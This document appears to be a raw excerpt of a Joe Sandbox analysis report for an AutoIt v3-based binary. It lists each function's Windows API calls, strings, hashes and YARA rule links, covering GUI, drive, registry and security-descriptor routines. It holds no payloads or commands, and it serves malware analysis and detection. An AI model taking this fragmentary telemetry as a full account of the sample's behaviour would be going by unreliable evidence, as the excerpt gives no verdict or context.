CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 009C2A77
GetStockObject.GDI32(00000011), ref: 009C2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 009C2A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 009C2A97

Strings

msctls_progress32, xrefs: 009C2A13
static, xrefs: 009C294F, 009C2A71
AutoIt v3, xrefs: 009C28F8
DISPLAY, xrefs: 009C295A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: e0dc985ddc6bd263b5cd3e0e7e4ea97228aa7cf29289564bfd0404bf7c101c25
Instruction ID: aa507abb21efd45b13626a9864f35887ad767d4ba5ee447dbb2ba4bef6b9aa1e
Opcode Fuzzy Hash: e0dc985ddc6bd263b5cd3e0e7e4ea97228aa7cf29289564bfd0404bf7c101c25
Instruction Fuzzy Hash: A9B150B1A50215AFEB14DFA8DC85FAEBBB9EB48710F008519FA15EB290D774ED40CB50

Function 009B4ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 009B4AED
GetDriveTypeW.KERNEL32(?,009DCB68,?,\\.\,009DCC08), ref: 009B4BCA
SetErrorMode.KERNEL32(00000000,009DCB68,?,\\.\,009DCC08), ref: 009B4D36

Strings

SSA, xrefs: 009B4CA6
\\.\, xrefs: 009B4B3F
ATAPI, xrefs: 009B4C91
USB, xrefs: 009B4CB4
FileBackedVirtual, xrefs: 009B4CEC
SATA, xrefs: 009B4CD0
iSCSI, xrefs: 009B4CC2
ATA, xrefs: 009B4C98
Virtual, xrefs: 009B4CE5
Removable, xrefs: 009B4C10, 009B4C15
Fibre, xrefs: 009B4CAD
MMC, xrefs: 009B4CDE
1394, xrefs: 009B4C9F
RAMDisk, xrefs: 009B4BF4
SCSI, xrefs: 009B4C8A
Network, xrefs: 009B4C02
Unknown, xrefs: 009B4BED, 009B4C83
RAID, xrefs: 009B4CBB
SSD, xrefs: 009B4C4A
SAS, xrefs: 009B4CC9
CDROM, xrefs: 009B4BFB
PhysicalDrive, xrefs: 009B4B76
Fixed, xrefs: 009B4C09

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 02b584e0cd944ce67a96880647b6ae03af2cbdfdb5efcb91b10761466aff0aab
Instruction ID: d6c114d52b4e56744d2c1e04e04cfded42d26009d15f8e6db3da288f5dc51958
Opcode Fuzzy Hash: 02b584e0cd944ce67a96880647b6ae03af2cbdfdb5efcb91b10761466aff0aab
Instruction Fuzzy Hash: 0361E63060510AABCB04DF24DB81EFD7BA4BB44B28B208815F846AB6D3DB35ED55FB41

Function 009D73E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 009D7421
SetTextColor.GDI32(?,?), ref: 009D7425
GetSysColorBrush.USER32(0000000F), ref: 009D743B
GetSysColor.USER32(0000000F), ref: 009D7446
CreateSolidBrush.GDI32(?), ref: 009D744B
GetSysColor.USER32(00000011), ref: 009D7463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 009D7471
SelectObject.GDI32(?,00000000), ref: 009D7482
SetBkColor.GDI32(?,00000000), ref: 009D748B
SelectObject.GDI32(?,?), ref: 009D7498
InflateRect.USER32(?,000000FF,000000FF), ref: 009D74B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 009D74CE
GetWindowLongW.USER32(00000000,000000F0), ref: 009D74DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 009D752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 009D7554
InflateRect.USER32(?,000000FD,000000FD), ref: 009D7572
DrawFocusRect.USER32(?,?), ref: 009D757D
GetSysColor.USER32(00000011), ref: 009D758E
SetTextColor.GDI32(?,00000000), ref: 009D7596
DrawTextW.USER32(?,009D70F5,000000FF,?,00000000), ref: 009D75A8
SelectObject.GDI32(?,?), ref: 009D75BF
DeleteObject.GDI32(?), ref: 009D75CA
SelectObject.GDI32(?,?), ref: 009D75D0
DeleteObject.GDI32(?), ref: 009D75D5
SetTextColor.GDI32(?,?), ref: 009D75DB
SetBkColor.GDI32(?,?), ref: 009D75E5

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 09834fc110a292d37c12bce30ea99d2b312ec9b45e9cd603b1d68caea1ae7650
Instruction ID: bc0b7b0e853f549f3dba22e6ebaa652cd4cc502a63ebcb9d88155039d1853287
Opcode Fuzzy Hash: 09834fc110a292d37c12bce30ea99d2b312ec9b45e9cd603b1d68caea1ae7650
Instruction Fuzzy Hash: DE618472949219AFDF019FA4DC49EEEBF79EF08320F108116F915AB2A1D7749980DF90

Function 009D0FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 009D1128
GetDesktopWindow.USER32 ref: 009D113D
GetWindowRect.USER32(00000000), ref: 009D1144
GetWindowLongW.USER32(?,000000F0), ref: 009D1199
DestroyWindow.USER32(?), ref: 009D11B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 009D11ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 009D120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 009D121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 009D1232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 009D1245
IsWindowVisible.USER32(00000000), ref: 009D12A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 009D12BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 009D12D0
GetWindowRect.USER32(00000000,?), ref: 009D12E8
MonitorFromPoint.USER32(?,?,00000002), ref: 009D130E
GetMonitorInfoW.USER32(00000000,?), ref: 009D1328
CopyRect.USER32(?,?), ref: 009D133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 009D13AA

Strings

tooltips_class32, xrefs: 009D11E6
0, xrefs: 009D10D3
(, xrefs: 009D131B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: e950b9a90c9ca1847d8983dba0a9d100434b808c7a45ec0fa5245c81272167b2
Instruction ID: 6109800494bd7325f10fb7891205840d3aa3d9d6e6bc432a74a766c995ae7f1b
Opcode Fuzzy Hash: e950b9a90c9ca1847d8983dba0a9d100434b808c7a45ec0fa5245c81272167b2
Instruction Fuzzy Hash: E7B16C72648341AFD714DF64C885B6BFBE8FF88350F00891AF9999B2A1C771E845CB91

Function 00958891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00958968
GetSystemMetrics.USER32(00000007), ref: 00958970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0095899B
GetSystemMetrics.USER32(00000008), ref: 009589A3
GetSystemMetrics.USER32(00000004), ref: 009589C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 009589E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 009589F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00958A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00958A3C
GetClientRect.USER32(00000000,000000FF), ref: 00958A5A
GetStockObject.GDI32(00000011), ref: 00958A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00958A81

Part of subcall function 0095912D: GetCursorPos.USER32(?), ref: 00959141
Part of subcall function 0095912D: ScreenToClient.USER32(00000000,?), ref: 0095915E
Part of subcall function 0095912D: GetAsyncKeyState.USER32(00000001), ref: 00959183
Part of subcall function 0095912D: GetAsyncKeyState.USER32(00000002), ref: 0095919D

SetTimer.USER32(00000000,00000000,00000028,009590FC), ref: 00958AA8

Strings

AutoIt v3 GUI, xrefs: 00958A20

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: ccbd49ae23d19ada3fe15c2f100b89ee375f3e591f332d49dcf209d4de621546
Instruction ID: 0e9ff73ddfed5fc0785e61f866c2c4fcf4241471a143c64b91fd437d34324f59
Opcode Fuzzy Hash: ccbd49ae23d19ada3fe15c2f100b89ee375f3e591f332d49dcf209d4de621546
Instruction Fuzzy Hash: 62B18C71A0420AAFDF14DFA9DC55BEE3BB5FB48315F10822AFA15A7290DB34E841CB50

Function 009A0D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009A10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 009A1114
Part of subcall function 009A10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,009A0B9B,?,?,?), ref: 009A1120
Part of subcall function 009A10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,009A0B9B,?,?,?), ref: 009A112F
Part of subcall function 009A10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,009A0B9B,?,?,?), ref: 009A1136
Part of subcall function 009A10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 009A114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 009A0DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 009A0E29
GetLengthSid.ADVAPI32(?), ref: 009A0E40
GetAce.ADVAPI32(?,00000000,?), ref: 009A0E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 009A0E96
GetLengthSid.ADVAPI32(?), ref: 009A0EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 009A0EB5
HeapAlloc.KERNEL32(00000000), ref: 009A0EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 009A0EDD
CopySid.ADVAPI32(00000000), ref: 009A0EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 009A0F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 009A0F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 009A0F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 009A0F6E
HeapFree.KERNEL32(00000000), ref: 009A0F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 009A0F7E
HeapFree.KERNEL32(00000000), ref: 009A0F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 009A0F8E
HeapFree.KERNEL32(00000000), ref: 009A0F95
GetProcessHeap.KERNEL32(00000000,?), ref: 009A0FA1
HeapFree.KERNEL32(00000000), ref: 009A0FA8

Part of subcall function 009A1193: GetProcessHeap.KERNEL32(00000008,009A0BB1,?,00000000,?,009A0BB1,?), ref: 009A11A1
Part of subcall function 009A1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,009A0BB1,?), ref: 009A11A8
Part of subcall function 009A1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,009A0BB1,?), ref: 009A11B7

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 74e99c4fa54aad841e28512a73e5021788c49e06d5a10b29927081b331867640
Instruction ID: 8151a45a5040e436768ab58ff6d81985023c3967605f1755e3b5dbad5d200f7e
Opcode Fuzzy Hash: 74e99c4fa54aad841e28512a73e5021788c49e06d5a10b29927081b331867640
Instruction Fuzzy Hash: D9717CB290521AEFDF209FA4DC44FAEBBBCBF45301F144116F919B6191D730A945DBA0

Function 009CC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 009CC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,009DCC08,00000000,?,00000000,?,?), ref: 009CC544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 009CC5A4
_wcslen.LIBCMT ref: 009CC5F4
_wcslen.LIBCMT ref: 009CC66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 009CC6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 009CC7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 009CC84D
RegCloseKey.ADVAPI32(?), ref: 009CC881
RegCloseKey.ADVAPI32(00000000), ref: 009CC88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 009CC960

Strings

REG_SZ, xrefs: 009CC644
REG_QWORD, xrefs: 009CC8C3
REG_EXPAND_SZ, xrefs: 009CC5CD
REG_DWORD, xrefs: 009CC804
REG_BINARY, xrefs: 009CC913
REG_MULTI_SZ, xrefs: 009CC6F5

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 09d1467b8a6c1e21154383b9a4c2a637544a7d37021d43954ee76bd7aaed1663
Instruction ID: fe962da6fd6776bf9a7ee220995ea47d8cd8802878488a11e01701aa3cb2ae18
Opcode Fuzzy Hash: 09d1467b8a6c1e21154383b9a4c2a637544a7d37021d43954ee76bd7aaed1663
Instruction Fuzzy Hash: 87124975A042119FDB14DF14C891F2ABBE5EF88714F14889DF84A9B3A2DB31ED45CB82

Function 009D091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 009D09C6
_wcslen.LIBCMT ref: 009D0A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 009D0A54
_wcslen.LIBCMT ref: 009D0A8A
_wcslen.LIBCMT ref: 009D0B06
_wcslen.LIBCMT ref: 009D0B81

Part of subcall function 0095F9F2: _wcslen.LIBCMT ref: 0095F9FD

Part of subcall function 009A2BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 009A2BFA

Strings

EXPAND, xrefs: 009D0BF8
UNCHECK, xrefs: 009D0D3E
ISCHECKED, xrefs: 009D0CE1
GETTOTALCOUNT, xrefs: 009D09F2, 009D0A17
GETTEXT, xrefs: 009D0C97
GETSELECTED, xrefs: 009D0C4E
CHECK, xrefs: 009D0A85, 009D0AA0
SELECT, xrefs: 009D0D11
GETITEMCOUNT, xrefs: 009D0C1E
COLLAPSE, xrefs: 009D0B01, 009D0B1C
EXISTS, xrefs: 009D0B7C, 009D0B97

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: d332ae570a383e85e289b6bfb814c6073a1ef8a96a0cb70d107c49aee2309cea
Instruction ID: 57a2b1e8610258db42a79ccf592935f5904f199f327a7fb0cf6738b1fc2912f7
Opcode Fuzzy Hash: d332ae570a383e85e289b6bfb814c6073a1ef8a96a0cb70d107c49aee2309cea
Instruction Fuzzy Hash: 19E187356487019FCB14DF24C450A2AB7E6BFD8314F10895EF8969B3A2D735ED49CB81

Function 009CC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,009CB6AE,?,?), ref: 009CC9B5
_wcslen.LIBCMT ref: 009CC9F1
_wcslen.LIBCMT ref: 009CCA68
_wcslen.LIBCMT ref: 009CCA9E
_wcslen.LIBCMT ref: 009CCAF9
_wcslen.LIBCMT ref: 009CCB2F
_wcslen.LIBCMT ref: 009CCB7F

Strings

HKLM, xrefs: 009CCA98, 009CCA9D
HKCU, xrefs: 009CCBCE
HKEY_CLASSES_ROOT, xrefs: 009CCAF3, 009CCAF8
HKU, xrefs: 009CCBF0
HKEY_USERS, xrefs: 009CCBDF
HKCC, xrefs: 009CCBAC
HKEY_CURRENT_USER, xrefs: 009CCBBD
HKEY_CURRENT_CONFIG, xrefs: 009CCB79, 009CCB7E
HKEY_LOCAL_MACHINE, xrefs: 009CCA62, 009CCA67
HKCR, xrefs: 009CCB29, 009CCB2E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: b2b9222afbd40615096178d54f93326925729dca9948cf446c4b1eccf7a1c4cc
Instruction ID: b0a26c518009c99f4926edd8f0c6cd9b9862adb73eed6bb74acbcb62d62162e6
Opcode Fuzzy Hash: b2b9222afbd40615096178d54f93326925729dca9948cf446c4b1eccf7a1c4cc
Instruction Fuzzy Hash: 1F71F8B2E0052A8BCB10DE7CD951FBF3B999BA0790B11052CF85E97285E635DD45C3A2

Function 009D833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 009D835A
_wcslen.LIBCMT ref: 009D836E
_wcslen.LIBCMT ref: 009D8391
_wcslen.LIBCMT ref: 009D83B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 009D83F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,009D361A,?), ref: 009D844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 009D8487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 009D84CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 009D8501
FreeLibrary.KERNEL32(?), ref: 009D850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 009D851D
DestroyIcon.USER32(?), ref: 009D852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 009D8549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 009D8555

Strings

.icl, xrefs: 009D8368
.dll, xrefs: 009D83AB
.exe, xrefs: 009D8388

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 6c1060d6bdbdfbf302342fd774c8b907e32f434a0a00857bb62fd37b81d01197
Instruction ID: 43426b3542c1dd2c8c6d9fdbf34051d6c66e431e2db2669526ba0c6e370b6ab8
Opcode Fuzzy Hash: 6c1060d6bdbdfbf302342fd774c8b907e32f434a0a00857bb62fd37b81d01197
Instruction Fuzzy Hash: 1761127198420ABEEB14CF64DC41BBF77ACFB44B10F10860AF815EA1D2DB74A980D7A0

Function 00947778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#pragma compile, xrefs: 009477D3
#requireadmin, xrefs: 009477FF
#OnAutoItStartRegister, xrefs: 00947817
#comments-end, xrefs: 009478D9
Unterminated group of comments, xrefs: 0098528C
#include-once, xrefs: 0094782F
Bad directive syntax error, xrefs: 0098519A
Cannot parse #include, xrefs: 00985279
", xrefs: 00985153
#comments-start, xrefs: 0094785F, 009478B1
#include, xrefs: 00947847
#cs, xrefs: 00947873, 009478C5
#notrayicon, xrefs: 009477E7
', xrefs: 00985169
#ce, xrefs: 009478ED

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 1baa2e87136caa5e5701350514cdaba012002fdc3af39bcc38f539ea0d6e7e99
Instruction ID: d5e40124536e9400182ac52a1f36ae20e54f27ee8004e3325164814c12e49b57
Opcode Fuzzy Hash: 1baa2e87136caa5e5701350514cdaba012002fdc3af39bcc38f539ea0d6e7e99
Instruction Fuzzy Hash: 51815B71A44209BBDB21BFA0DC43FAF77A8AF95340F018425F805AB292EB75D915C791

Function 009B3E79 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 009B3EF8
_wcslen.LIBCMT ref: 009B3F03
_wcslen.LIBCMT ref: 009B3F5A
_wcslen.LIBCMT ref: 009B3F98
GetDriveTypeW.KERNEL32(?), ref: 009B3FD6
